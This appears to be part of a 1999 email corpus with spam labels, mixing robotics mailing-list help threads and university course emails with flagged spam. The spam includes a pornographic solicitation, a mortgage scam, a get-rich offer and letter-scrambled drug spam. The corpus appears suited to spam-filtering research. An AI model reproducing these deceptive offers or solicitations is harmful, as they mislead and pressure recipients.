time for students to comment on the ""Committees of the GSO"" article (since the text of Part I is new). The ""Officers of the GSO"" article is essentially done, but students have a little more time to comment on that as well. The main discussion concerned the ""Department Representatives"" article. Out of that discussion, the need for a ""Meetings"" article became apparent. One member suggested having 2 kinds of meetings, a regular general meeting where committees report (and where Dept. Reps. are welcome) and ""special meetings"" called when issues need to be discussed (at which Dept. Reps. would be required to attend). Remember to send your comments on articles (that have already been sent out by e-mail) to steering@gso.bu.edu. 3. Advertising in BU Newspapers The Healthcare Committee provided some additional information on this based on their experience with the ""Student Healthcare"" talk: Bridge ------ Event announcements in the Bridge are published on Friday's. According to their secretary, you need to send in the announcement the Friday before the publication date (in some cases, you can get away with the Monday before the publication date). Sending the announcement via calendar@bu.edu seems to work fairly well. They do edit your announcement text (you may want to submit and verify ads over the phone (at 353-2752) if you are concerned about how they will edit your ad). To that end, they currently only list phone numbers for ""more info"" on an event. They do not list e-mails (although the secretary said she'd ask the editor about possibly changing that after we requested it). Those submitting event announcements should first look at the format used for announcements in the Bridge, to make sure all the usual information is provided. Event announcements in the Bridge are also listed on BU's web site (http://www.bu.edu/calendar/) (under one of several categories). These announcements are sometimes also automatically placed in the Daily Free Press' announcements page (more about Daily Free Press listings at a future meeting).",0,1 Stuart Drexler ,"Kwin Hultman Kramer , play99@media.mit.edu","Sat, 17 Apr 1999 17:51:48 -0400",Re: readings for Tuesday,"To note, while Purple Moon went defunct earlier this year, it was recently purchased by none other than Mattel. Barbie and Rockett, under the same roof. What'll Ken think? Mattel is clearly looking to grow as the dominant player in girls' interactive media. Stu \\ \\ \\ \\ `--> Stuart Drexler drexlest@gse.harvard.edu (617) 497-1301 ---------- >From: Kwin Hultman Kramer >To: play99@media.mit.edu >Subject: readings for Tuesday >Date: Fri, Apr 16, 1999, 6:29 PM > > Hi, > > As scheduled, we've picked some readings that revolve around a ""toys and > gender identity"" theme. The readings are four, three photocopied and one > available 'lectronically. > > The photocopied readings are available in stapled collectivity at the usual > place just outside the glass wall of Mitchel's office. There's a > high-heeled shoe on the cover page. > > -- > On paper: > > Rand, Erica. ""Introduction: On Our Backs, in Our Attics, on Our Minds"" in > _Barbie's Queer Accessories_. Duke, 1995. > > Subrahmanyam and Greenfield. ""Computer Games for Girls: What Makes Them > Play"" in _From Barbie to Mortal Kombat: Gender and Computer Games_, ed. > Cassel and Jenkins. MIT, 1998. > > ""An Interview with Brenda Laurel (Purple Moon) in in _From Barbie to Mortal > Kombat: Gender and Computer Games_, ed. Cassel and Jenkins. MIT, 1998. > > On line: > > Sella, Marshall. ""Will a Flying Doll ... Fly?"" New York Times section 6, > page 20, column 1; 12/25/94. > http://el.www.media.mit.edu/classes/play99/nyt-article.txt > -- > > Barbie -- whose only competition as preeminent synechdoche of American > gender theory is that 800-pound pop-culture gorilla (and maybe guerrilla, > depending on who you read) Madonna -- figures prominently in the three > photocopied essays: > > Erica Rand has written an amazing little book on the complex and shifting > dialog that surrounds our favorite anorexic doll. She defines the > relationship between Mattel (producer of Barbie artifact and artifice) and > the people who purchase and play with Barbie (consumers of the former but > not always the latter) as prototypically hegemonic, that is, as > characterized by a fluid but always lopsided negotiation of social consent. > The introduction to her book explains her motivations and methodology quite > nicely. > > Subrahmanyam and Greenfield give a straightforward analysis of the success > of the ""Barbie Fashion Designer"" software, based on their own research on > how/why girls play. (Note, ""straightforward"" is not meant to imply that we > should agree with the conclusions they draw, just that they explain why > they drew them in some detail.) > > Branda Laurel, in an interview conducted by former Media Lab students, > explains how her own personal history and research shape the games that she > produced for now-defunct Purple Moon. Again, we should talk about whether > we find her assertions plausible, and how different we think the categories > of ""research-derived-truth"" and ""barely-justified-assumption"" really are, here. > > The New York Times article recounts how Galoob designed the ""Sky Dancer"" > line of toys for the Christmas '94 season. The article leaves you wondering > whether the toy will be a success, implying that there is no way to predict > such things (although one would think that being the subject of a NYT > Magazine cover story helps). I'll ruin the suspense and tell you that the > Sky Dancers were a big hit, spawning a cartoon and even a spin-off > line of boy's toys. > > Kwin > > >",0,1 Kylli Pass ,marguerite@aleve.media.mit.edu,"Sat, 17 Apr 1999 06:01:46 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! 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Can I use FCC68 side entry 6/4 for both side, or is there another reason like space, since I can not find RJ12 in a very big catalog in Germany? The use of 6/6 confused me. 2. How about the pin connection of the telephone cable? Pin 2 and 5 should be inverted, since from 68HC11 point of view, PD0 or RxD receives data and TxD or PD1 send data . Is this correct? I saw in the serial interface schematic, that pin 2 uses the t2in (pin 10 from MAX232CPE) and pin 5 the r2out (pin 9 MAX232CPE). This mean the cable has to be inverted. 3. About the voltage monitor DS1233-10, can I use DS1233A-10? Does it have the same pin configuration? The body is a TO92 body. 4. Where should I give attention, if not buying parts from Digikey, Jamaeco and Mouser? Since I read somewhere about the problem of putting parts into the PCB holes etc. Strange but it is hardly to find a 2% polyprop capacitor in Germany (Strange country). I am very please if somebody is willing to answer it. Therefore I thank you in advance. best regards, jos runarko josr0633@sp.zrz.tu-berlin.de ",0,0 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Sun, 18 Apr 1999 09:43:31 -0500",first step in assembly of the handy board...,"I'm kinda new at this...Can anyone tell me what voltage I should be checking with my multimeter(1000 or 200 or 200M etc..)? I'm on the first testing stage of the main assembly of the handy board and I get no voltage and GND and +5v spot, also my led does not light. I can't go any further until I solve this problem. Can someone please help me? -Jon Schuck ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Sun, 18 Apr 1999 12:33:38 -0400",Re: first step in assembly of the handy board...,"At 09:43 AM 4/18/99 -0500, Jon Ryan Schuck wrote: >I'm kinda new at this...Can anyone tell me what voltage I should be >checking with my multimeter(1000 or 200 or 200M etc..)? I'm on the >first testing stage of the main assembly of the handy board and I get no >voltage and GND and +5v spot, also my led does not light. I can't go >any further until I solve this problem. Can someone please help me? If you are at section 4.1.2 of the assembly manual, follow the debugging routine outlined in 4.1.3 ie. check the DC adapter for polarity, check the LED for polarity, check the orientation of U13 and D3... Hope this helps, Duncan ",0,0 Matt Austin ,Handy Board Mailing List ,"Sun, 18 Apr 1999 18:14:36 +0100",12v SLA Battery ,"Hi all, I'm currently putting together a handyboard system, and my question is, can I simply use a 12v sealed lead acid battery in place of the 9.6v rechargable pack? I know that the interface board won't be able to charge the SLA, but apart from this will the board work ok? The reason I'm doing this is to run 12v motors properly. Thanks. ------------------------ Matt Austin Falinn@Ukmax.com Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,0 Hank Driver ,ggilfoyl@facstaff.richmond.edu,"Sun, 18 Apr 1999 09:31:51 -0700",delicious Young Ladies so fascinating and younng.," dishy Teens and innnocent little delectable puussies! http://pornostartsite.info/fphfporn.htm?iSPhfd.fX,hj U,N,S,U,B,$,C,R,I,B,E http://pornostartsite.info ",1,1 Michael Kosowsky ,course@aragorn.csb.yale.edu,"Sun, 18 Apr 1999 14:40:09 -0400",Dynamic Programming," The question is what does ""dynamic programming"" mean. As a computer programmer I can't come up with a way of defining the phrase that would apply to any of the algorithms we discussed in class. A modern definition, taken from Robert Sedgewick, Algorithms, Addison-Wesley, 1983. (EAS QA76.6 S345 1983, also CCL) is: The principle of divide and conquer has guided the design of many of the algorithms we've studied: to solve a large problem, break it up into smaller problems which can be solved independently. In dynamic programming this principle is carried to an extreme: when we don't know exactly which smaller problems to solve, we simply solve them all, then store the answers away to be used later in solving larger problems. ... These problems involve looking for the ""best"" way to do something, and they have the general property that any decision involved in finding the best way to do a small subproblem remains a good decision even when that subproblem is included as a piece of some larger problem. (p. 483) This definition indeed highlights some of the features of the SW algorithm. But it gives no rationale for the name; none of the attributes of this class of algorithms suggests ""dynamic."" I've found an historical derivation. Turns out there's a 1957 work titled Richard Bellman, Dynamic Programming, A Rand Corporation Research Study, Princeton University Press, 1957. (available at Kline QA264 B44 1957, also CCL and EAS) In the introduction to the book, Bellman takes an epistomological look at mathematical modeling, and rails against the then current practice of changing problems that involve multiple stages into a single stage, multiple dimension problem (see below for stuff I started to write about that). When a problem is solved that way, ... the mathematician has not discharged his responsibilities. The problem is not to be considered solved in the mathematical sense until the structure of the optimal policy is understood. (p. ix) The rest of the book are techniques for explicitly thinking of problems in terms of their step by step nature, and indeed ""dynamic programming"" is coined to emphasize this approach: The title is also derived this way. The problems we treat are programming problems, to use a terminology now popular. The adjective ""dynamic,"" however, indicates that we are interested in processes in which time plays a significant role, and in which the order of operations may be crucial. (p. xi) The phrase ""to use a terminology now popular"" refers to the use of ""programming"" to mean ""tabulation method."" (Credit to Amar -- forgive me if I got your name wrong.) It's the third definition of programming in the Oxford English Dictionary at http://jeeves.library.yale.edu/oed/, and predates the omnipresence of computers: 3. Planning carried out for purposes of control, management, or administration, esp. in economics. 1943 Sun (Baltimore) 1 July 14/2 The President transferred from Mr. Jones' RFC to Mr. Wallace's BEW full control over the programming of imported strategic materials. 1959 Listener 21 May 884/2 The design of controls, the programming of production methods, and so forth. ... So, the name was created to highlight an aspect of an approach that no longer differentiates that approach from other similar approaches. In other words, it was coined to point out what is isn't, but what it wasn't is no longer really what it isn't. Seems like a good time to hold a naming contest ... MK ------------------------------------------------------------ [Here's more detail about the introduction to Bellman's book, where I realized I was getting too far off point, but someone may find it interesting anyway:] Consider a multi-stage problem, e.g. the ""raise-counter-raise system of poker with its delicate overtones of bluffing"" (a favorite of theoreticians). How does a mathematician approach this problem? One approach is to turn the multiple stages into multiple dimensions of a single stage problem, and then apply any of a plethora of techniques to the new problem. Let's analyze a round of poker which allows only one raise. Then ""I bet $10 then you raise $5 then I call"" might correspond to the point in three dimensional space with coordinates (x=10, y=15, z=15). The analyst then places all of sorts of constraints on the possible coordinates. For example, z must be greater than or equal to y which must be greater than or equal to x, except we allow a zero in any position to mean the player folds. Another example is that there must be complex relationships imposed indicating how likely you are to call my bet given the amount I raise and the cards you hold and what you think I hold. The analyst then finds the coordinates that give the maximum value of the appropriate function -- in this case a function representing how much I win -- subject to the constraints. Not only can these problems can be difficult to solve tbis way, but Bellman is also concerned that when we solve them analytically, we may not be left with any understanding of the answer: Assume, however, that we have circumvented all these difficulties and have attained a certain computational nirvana. Withal, the the mathematician has not discharged his responsibilities. The problem is not to be considered solved in the mathematical sense until the structure of the optimal policy is understood. (p. ix) Continuing in this vein: Put another way, in place of determining the optimal sequence of decisions from some FIXED state of the system, we wish to determine the optimal decision to be made at ANY state of the system. Only if we know the latter, do we understand the intrinsic structure of the solution. (p. xi) To illustrate, if we return to our round of poker, he demands an analysis that, given the current state of the system -- the cards in the player's hands, the betting history, ... -- yields the best next move. And then here's the derivation of ""dynamic programming"": The title is also derived this way. The problems we treat are programming problems, to use a terminology now popular. The adjective ""dynamic,"" however, indicates that we are interested in processes in which time plays a siginificant role, and in which the order of operations may be crucial. ",0,1 Amar Drawid ,course@aragorn.csb.yale.edu,"Sun, 18 Apr 1999 16:05:39 -0400",Re: Dynamic Programming,"I found some more interesting things about dynamic programming that I would like to add to Mike's message. They are from the book ""Intorduction to Algorithms"" by Cormen, Leiserson, Rivest (The MIT Press, McGraw-Hill Book Company, 1990): """"Programming"" in this context refers to a tabular method, not to writing computer code.... Divide-and-conquer algorithms partition the problem into independent subproblems, solve the subproblems recursively, and then combine their solutions to solve the original problem. In contrast, dynamic programming is applicable when the subproblems are not independent, that is, when subproblems share subsubproblems. In this context a divide-and-conquer algorithm does more work than necessary, repeatedly solving the common subsubproblems. A dynamic-programming algorithm solves every subsubproblem just once and then saves its answer in a table..."" This first made me more confused than before. But when I thought of a combinatorial problem (like the one we did in class), and tried to apply the normal divide-and-conquer method to it, I realized how dyn.prog. would work in it but div-n-conq would fail. Dynamic programming rules :) Amar ",0,0 Dianne Lovell ,,,interesting to see,"Earn an absolute fortune from your PC =96 without selling, advertising, co= ld calling or prospecting. It=92s easy when you know how. FREE instant det= ails & free bonus gift: http://www.MegaWealthy.com/5872 ",1,1 """Terry P. Gathright"" <669@worldnet.att.net>","tgb@wamnet.com, kleang@eng.utah.edu","Sun, 18 Apr 1999 22:03:45 -0500",Re: Sonar and Compass,"Hi Tom, I would be instrested in using your code for using both sensors when completed. I used your eariler code for the v2x and it works great, Thanks for your contributions and dedication to help those less competent writing code. bye. ---------- > From: Tom Brusehaver > To: kleang@eng.utah.edu > Cc: handyboard@media.mit.edu > Subject: Re: Sonar and Compass > Date: Friday, April 16, 1999 1:14 PM > > > >Now, with the expansion board, I can do the same and have both sensors > >work, but the wiring is messy and I can't take advantage of the > >Polaroid header on the expansion board, not to mention I'm out 2 motor > >driver ports. Has anyone tried to interface both sensors on the expansion > >board through a different method? Perhaps some way of using the SPI port > >for both sensors? > > I have started working on an expansion board version of the compass > code. I won't have it done before fall probably (unless is snows or > something really bad). I am involved in another huge project right > now. > > My thoughts are to have the compass in slave mode again, then do a > manual clocking of the data in. I would connect more of the compass > pins to the expansion board pins (reset, calibrate, etc). > > If anyone thinks of a better way to do this, go for it.",0,0 phillip chia ,handybd ,"Mon, 19 Apr 1999 18:00:27 +0800",Handyboard sudden turn off`,"Hi , I really need help. It's urgent!!! When I turn on the HD, the LCD did not appear anything Moreover, the program is not running running once I download and pressed start. The worst part is that the U13 LM7805 CTB is getting HOT that can burn my finger in just a short while. Once I let the LM7805 to cool down for at least 15 minutes, and start to press the start button again, program is running again and the LM7805 is not hot . currently, the battery I using is NiMH 9.6V , 1.3 Ah on the HD. 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Let me know when so I can replace all those batteries :). - r Michael Hawley wrote: > > Reiner Knizia, renowned game designer, is visiting the Lab on > Tuesday; Matthew Gray is hosting him, and he will be speaking > from 4-5 after the Projects in Play class. Let's show him a > fun time. Can you please let Matthew know if you'd like to > show Reiner your work? > > thanks, > Mike ",0,0 Yonatan Mittlefehldt ,handyboard@media.mit.edu,"Mon, 19 Apr 1999 15:43:02 -0400",Vector Compass problem,"hi, i am currently trying to interface the vector 2x compass with the handyboard given the info and code provided on the handyboard web page. i am having 2 problems with it. 1) occasionally the compass doesn't produce a clock signal until i reset it a couple of times. any thoughts? 2) it seems to be inaccurate by plus or minus 20 degrees. what i have found is that 360 degrees is actually 360 degrees, but 90 degrees doesn't usually come up as 90 degrees. (i have the compass on a protyping board, and position it with the tiles on the floor to try and get 90 degrees) what happens is that the error alternates every quadrant. so odd quadrants might be minus 20 degrees, but even ones plus 20 degrees. has anyone come across these problems? if so how did you fix them, if you did. i am open to any suggestions. thanks in advance. yono ",0,0 David ,handyboard@media.mit.edu,"Mon, 19 Apr 1999 09:52:02 -0700",bill Consolidation Application pre-approval,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://gm0rt.com Don't worry about approval, your credit will not disqualify you! Sincerely, David Approval Manager ",1,1 assembly_equipment@excite.com,handyboard@media.mit.edu,"Mon, 19 Apr 1999 11:23:39 -0000",SMT & PTH Assembly equipment - buy or sell,"Hello, If this message has inadvertently reached the wrong individual in your organization, please forward it to your manufacturing manager. My name is Lee Anderson and I represent Manufacturing Automation, Inc. We are a buyer and seller of new and used surface mount and thru-hole assembly equipment. I would like to include you in our database, so that we can keep you updated on the latest new and used equipment we have to offer for sale. But, I would like your permission first. Also, if you are in the market to sell any of your PCB assembly equipment, we can be of service as well. We have some very nice entry level Smt equipment to offer: (New!) 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The compass should reset properly on it's own, but doesn't always. >2) it seems to be inaccurate by plus or minus 20 degrees. what i have >found is that 360 degrees is actually 360 degrees, but 90 degrees doesn't >usually come up as 90 degrees. (i have the compass on a protyping board, >and position it with the tiles on the floor to try and get 90 degrees) >what happens is that the error alternates every quadrant. so odd >quadrants might be minus 20 degrees, but even ones plus 20 degrees. Check you environment with a regular old compass, even a $0.49 you can sometimes get at a drug store, or convenience store (the cheaper the better, they are usually more affected by environment). There is re-bar in concrete floors that will affect a compass. I have mine over 9 inches from the floor for that reason. Drag your compass across the floor, if you see the needle wiggling, you are probably passing near re-bar. Watch for screws and other metallic objects in your robot base. The top of my robot has all aluminium screws, and velcro to hold everything else on (including the compass). Watch the aluminium, some alloys have steel in them, I have some standoffs that seem aluminium like, but definatly affect a compass. How far is the compass from the motors in your base. If it is too close (depends on motors) you will probably get a wrong reading all the time. ",0,0 Gary Livick ,phillip chia ,"Mon, 19 Apr 1999 16:49:14 -0700",Re: Handyboard sudden turn off`,"Phillip, This happened to me once, and it was because I had an electrolytic capacitor installed backwards. You obviously have something drawing a lot of current, so if you check the caps and everything looks ok, it is somewhere else. Lacking any better method, try placing your finger on each component and find what else is getting hot besides the voltage regulator. If that doesn't turn up anything, take out all the IC's and anything else you can unplug and start testing again as you replace things until the problem repeats. That will probably lead to the problem. Remember, this is supposed to be FUN! Best Regards, Gary Livick http://www.lightwaverobotics.com phillip chia wrote: > Hi , > I really need help. It's urgent!!! > When I turn on the HD, the LCD did not appear anything Moreover, the > program is not running running once I download and pressed start. The worst > part is that the U13 LM7805 CTB is getting HOT that can burn my finger in > just a short while. > > Once I let the LM7805 to cool down for at least 15 minutes, and start to > press the start button again, program is running again and the LM7805 is > not hot . > > currently, the battery I using is NiMH 9.6V , 1.3 Ah on the HD. > > Is there any damaged in certain components? > > rgds, > phillip ",0,1 Gary Livick ,"""handyboard@media.mit.edu"" ","Mon, 19 Apr 1999 16:53:32 -0700",pcode_hb.asm,"Does anyone know where the latest pcode_hb.asm file can be found? Also, does one use as11 to assemble this thing, and are there include files that have to go with it, etc? I assume that dlm can be used to download the resulting .s19 file, am I wrong about that? Thanks a million one hundred thousand! Gary Livick ",0,0 MAR ERICSON ,Handy Board mailing list ,"Mon, 19 Apr 1999 19:49:42 -0400",Help on selecting MOSFET,"Can someone give me the name of a P-channel depletion mode MOSFET that can handle like 6+ Amps. Thanks for any leads at all. :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Hale Weddell ,handyboard@media.mit.edu,"Mon, 19 Apr 1999 14:00:16 -0700",Re: good AMBtrEN,"Hi, X n A o N s A w X s V v I o A t G s R h A k C q I i A s L g I w S g V h A u L g I v U g M q http://www.evpatoranewek.com shamme refractorines leisure tril wellminde Flannagan gave me? And that slew of license plate numbers from their meetings? Cute, real cute, said Conklin enigmatically. Whats cute? Take the names-theyre the dregs of the wing-ding social set, no relation to the Georgetown upper crust. Theyre out of the National ",1,1 Eliana ,"ggilfoyl@facstaff.richmond.edu, manuela@facstaff.richmond.edu, joel@facstaff.richmond.edu, timothy@facstaff.richmond.edu, lillie@facstaff.richmond.edu, chris@facstaff.richmond.edu","Mon, 19 Apr 1999 17:40:25 -0800",just 2 minutes,"in click on unwieldy some spartan in dictate some shoelace ",1,0 archer@eskimo.com,"""Mills, Curt, WE7U"" ","Mon, 19 Apr 1999 22:34:20 -0700",Re: GCC/HC11 small patch," Patch 1.2 to the GCC/HC11 compiler is now available on my FTP site: ftp.eskimo.com/u/a/archer/hc11-patch-latest.tar.gz This new patch includes the patches by Otto Lind, Dr. Steven Barnicki, Keith Hearn, and myself. It is patch 1.2. Also, I put the latest snapshot of my GCC Handyboard library up there. Check it out if you want, but I'm still working on it. Expect quite a few more library updates. Curt, WE7U. BowHunt@iname.com Arlington, WA, USA http://www.eskimo.com/~archer Lotto: A tax on people who are bad at math. - unknown Windows: Microsoft's tax on computer illiterates. - WE7U. ",0,1 """Mark B. Gerstein"" ",course@aragorn.csb.yale.edu,"Tue, 20 Apr 1999 05:11:59 -0400","final class, industry speakers",Final class meeting on Monday 4/26. Bioinformatics in industry went pretty well. Our speakers were: Martin Leach David Gonda -- Mark.Gerstein@yale.edu * 203 432-6105 * http://bioinfo.mbb.yale.edu,0,1 Tamara Lackner ,"cube@media.mit.edu, play99@media.mit.edu, marinau@media.mit.edu, kimiko@media.mit.edu, mls@media.mit.edu, calla@media.mit.edu, dano@media.mit.edu, gili@media.mit.edu, strickon@media.mit.edu","Tue, 20 Apr 1999 22:03:14 -0400",lab visit,"Hi all, There are a group of kids coming to visit the lab this Thursday for whom I'm trying to set up some demos. Please let me know if you would be available to show something or whether this might interfere with any other scheduled event. Further details follow : >The kids are from SPES (Supplementary Program of Educational Skills). >My understanding right now is that there would be about 15 kids (all >boys). They are 12-13 years old and in the 5-6 grade and are mostly >from the Dorchester area. Tim Crimmins, an MIT student is organizing >the day. I believe that they are coming this thursday at about 10 and >leaving about 2. > >SPES is a voluntary program that runs after school and on weekends. >Discipline, athletics, respect, music(most students play an >instrument), art, reading, and academics are stressed. Currently >several MIT students help as tutors on the weekends. Thanks, Tammy ",0,0 MAR ERICSON ,Handy Board mailing list ,"Tue, 20 Apr 1999 10:39:16 -0400",GP2D12,"Looking for this part. Does anyone know where to get it? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 His Dudeness ,handyboard@media.mit.edu,"Tue, 20 Apr 1999 09:49:47 -0600",,"Subject: Spurious IR signal --text follows this line-- Dear IR users, I recently have begun experimenting with IR sensing for my HB by using an IR led and a 3 pin detector (Everlight IRM8100-3-M available from Radio Shack, cat no 276-137a). The LED is driven by a 38 KHz square wave (50/50 duty cycle). The detector has VCC, gnd and output, and is low when it detects the 38KHz IR from the LED. The problem is that when it isn't detecting, the signal is not a 4 or 5 volt DC level as the spec indicates, but is an extremely unstable noisy signal. I don't know much about the internals of the detector, but I placed a 10k pullup resistor on the detector signal in case it is an open collector output. This had no effect. Can anyone share a working circuit for this purpose? Thank you , Ed Young ",0,0 Kwin Hultman Kramer ,play99@media.mit.edu,"Tue, 20 Apr 1999 12:06:17 -0400",class today,"Hi, Just a reminder: we do have class today, regular bat time, regular bat place. Kwin ",0,0 Fabian Lopez ,Scott Sherman ,"Tue, 20 Apr 1999 10:15:36 -0700",Re: Polaroid 6500,"Scott Sherman, My name is Fabian Lopez and I am to begin hooking up a polaroid sonar transducer to my handyboard.....any words of wisdom. Hola from New Mexico Scott Sherman wrote: > I have a question a bout a part on the polaroid 6500 sonar device. I > burned out a particular part on it -- Q1, the C3279. Mouser has a part > number 620-2SC3279 which is a Japanese (JIS) transistor TO-92 NPN Poower > Amp which sounds just like the part that I burned out but was wondering > if anyone could clarify that for me? Your help would be greatly > appreciated. > > Thanks, > > Scott > Received: from oakley.tvi.cc.nm.us (oakley.TVINET [198.59.148.6]) by email.tvi.cc.nm.us with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) > id HQV5B6QK; Wed, 7 Apr 1999 18:16:59 -0600 > Received: from aleve.media.mit.edu (aleve.media.mit.edu [18.85.2.171]) > by oakley.tvi.cc.nm.us (8.9.1a/8.9.1) with ESMTP id SAA07616 > for ; Wed, 7 Apr 1999 18:25:21 -0600 (MDT) > Received: from condor.stcloudstate.edu (condor.StCloudState.edu [199.17.25.8]) > by aleve.media.mit.edu (8.9.1a/8.9.1/+ALEVE) with ESMTP id LAA17512 > for ; Sun, 4 Apr 1999 11:42:49 -0400 (EDT) > Received: from condor.stcloudstate.edu (COMM16P02.StCloudState.EDU [199.17.55.3]) > by condor.stcloudstate.edu (8.8.7/8.8.8) with ESMTP id KAA12686; > Sun, 4 Apr 1999 10:46:52 -0500 (CDT) > Message-ID: <37078980.F2A38E81@condor.stcloudstate.edu> > Date: Sun, 04 Apr 1999 10:47:15 -0500 > From: Scott Sherman > X-Mailer: Mozilla 4.5 (Macintosh; U; PPC) > X-Accept-Language: en > MIME-Version: 1.0 > To: webmaster@acroname.com > CC: handyboard@media.mit.edu > Subject: Polaroid 6500 > Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" > Content-Transfer-Encoding: 7bit > > I have a question a bout a part on the polaroid 6500 sonar device. I > burned out a particular part on it -- Q1, the C3279. Mouser has a part > number 620-2SC3279 which is a Japanese (JIS) transistor TO-92 NPN Poower > Amp which sounds just like the part that I burned out but was wondering > if anyone could clarify that for me? Your help would be greatly > appreciated. > > Thanks, > > Scott",0,0 Krisztia Dahlman ,ggilfoyl@facstaff.richmond.edu,"Tue, 20 Apr 1999 07:08:42 -0700",Re: your VtAGoRA,"Hi C V P V A X L I I r A m a e A A o L b n v L G z I i a i I R a U e x t S A c M n ra http://www.temaferte.com down on the cold floor and gave himself up to complete miserableness, for a long while. He thought of himself frying bacon and eggs in his own kitchen at home  for he could feel inside that it was high time for some meal or other; but that only made him miserabler. He could not think what to do; nor could he think what had happened; or why he had been left behind; or why, if he had been left behind, the ",1,1 MAR ERICSON ,Handy Board mailing list ,"Tue, 20 Apr 1999 14:56:50 -0400",Polaroid Sonar,"Anyone know where to get a Polaroid Sonar besides Wirz elevtronics and Polaroid Corp? They are both out of the product. Thanks for any input. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Joey Sims ,'gilfoyle' ,"Tue, 20 Apr 1999 16:17:48 -0400",RE: linux computer cluster,"Yes sir. Give me 10mins. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Tuesday, April 20, 1999 12:14 PM > To: Joey.Sims@PonyComputer.com > Subject: linux computer cluster > > Dear Mr. Sims: > > I am a physicist at the University of Richmond and we are > developing > a computing cluster in our Physics Department to support our research > at Thomas Jefferson National Accelerator Facility (TJNAF) in Newport > News, VA. We intend to model the machines in our cluster after the > machines you recently sold to TJNAF (Ian Bird at TJNAF gave me your > name). I was wondering if it would be possible to get a quote for > the system described below. > > 10 dual pentium II, 450 MHz machines > 20 18.2-GByte disks (2 per machine) OR > 10 36-GByte disks (1 per machine) > 10 memory upgrades to 128 MByte > 11 fast ethernet cards (same as the ones used > at TJNAF > 1 16-port fast ethernet switch > 3 20-inch monitors > 2 switches for monitors > 2 24-GByte DAT tape drives > 2 backup power supplies > any other necessary items (cables, etc.) > > Thanks for your help with this. > > Sincerely, > > Dr. Jerry Gilfoyle > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Tue, 20 Apr 1999 15:40:02 -0500",help on replacement part,"Can anyone please tell me if a 50 v replacement for part C7 and C9 will be ok instead of the normal 63v one? -Jon Schuck ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Tue, 20 Apr 1999 16:48:36 -0400",10 Linux Boxes," Dr. Gilfloyl, PII's and PIII's are at the same price. So, I put in PIII's. Also, I assumed that you did not need keyboards and mice since they are clustered. If you do, I will put them on the next quote with the parts. Sincerely, Joey P. Sims ",0,0 Andre Philippi ,philippi@earthlink.net,"Tue, 20 Apr 1999 13:55:02 -0700",Mobile Robot Question,"Hi, I'm building a mobile robot using an R/C car with an Electronic Speed Controller (ESC) as the mobile platform, the Handyboard for sensorial data aquisition, and servo control; and a Linux ""box"" for GPS, videoconferencing, wireless communications, high level autonomous behavior, and remote control... My question is... How much are the GPS, the ultrasound radar, the electronic compass, the stepper motor (that holds and rotates a ""turret"" containing the ultrasound transducer, the video camera, some IR sensors, and eventually a Laser range-finder), the servo motors (that control the car), the video camera (I'm NOT using a wireless video transmitter), the ESC, and the packet modem going to cause electromagnetic interference to each other? Should I expect any other type of interference ? Which devices are not gonna be affected or cause any type of interference ? Which devices generate interference, and what are my options accessing the problem ? Wow! If someone is able to answer all that, we should post the answers in some FAQ...:) Thank you in advance for any help... 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If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 FThompson9@aol.com,handyboard@media.mit.edu,"Wed, 21 Apr 1999 08:14:12 -0400",Re: Choosing Parts?,"In a message dated 4/21/99 1:08:33 AM Central Daylight Time, josr0633@cetus.zrz.TU-Berlin.DE writes: jos runarko: > in Catalogs, there are many capacitors with the same capacity value but > different voltage and tolerance. My question is, which voltage should I > choose: above the operating voltage of 12 V? For electrolytic capacitors, you want the printed voltage to be the closest voltage above the voltage you are operating at. The voltage listed on the can is the one it works best at. Careful with the polarity. Reversed polarity will cause the capacitor to heat and deform. Large voltage in reverse polarity will cause the capacitor to explode. > Second, the tolerance the lower the value it has a better tolerance: 1% > is better than 2%? Yes, tolerance is the error in the manufactured value. A 5% resistors actual value is within 5% of the printed value. So if the resistor is Brown, Black, Orange, Gold; the value is 10,000 ohms +/- 5%. So the actual value of the resistor is between 9500 ohms and 10500 ohms. hope this helps, Pherd ",0,0 Tom Brusehaver ,FThompson9@aol.com,"Wed, 21 Apr 1999 08:18:38 -0500",Re: Choosing Parts?," > For electrolytic capacitors, you want the printed voltage to be the >closest voltage above the voltage you are operating at. The voltage listed >on the can is the one it works best at. I don't mean to be harsh, but this isn't exactly correct. The voltage is the highest the capicitor is rated for. if you have a 12V circuit it won't hurt to put in a 200V cap, but you'll need lots of room. Generally for safty, in high current applications, most people will take the highest voltage expected, and double it, and use that sized cap. > Careful with the polarity. Reversed >polarity will cause the capacitor to heat and deform. Large voltage in >reverse polarity will cause the capacitor to explode. Even correctly polarized, with too high a voltage, they can come apart. There is a substance like toothpaste in some electrolytics, that will expand when heated (like a steam engine). The cans are sealed with little holes to minimize the chances of voilent explosion. When I was younger I bought a RTTY demodulator at a ham flea market, that had tubes in it. It was homemade by the guy I bought if from, but it worked. One night my dad was copying some great stuff, and I heard a ka-pow!!! I ran downstairs to 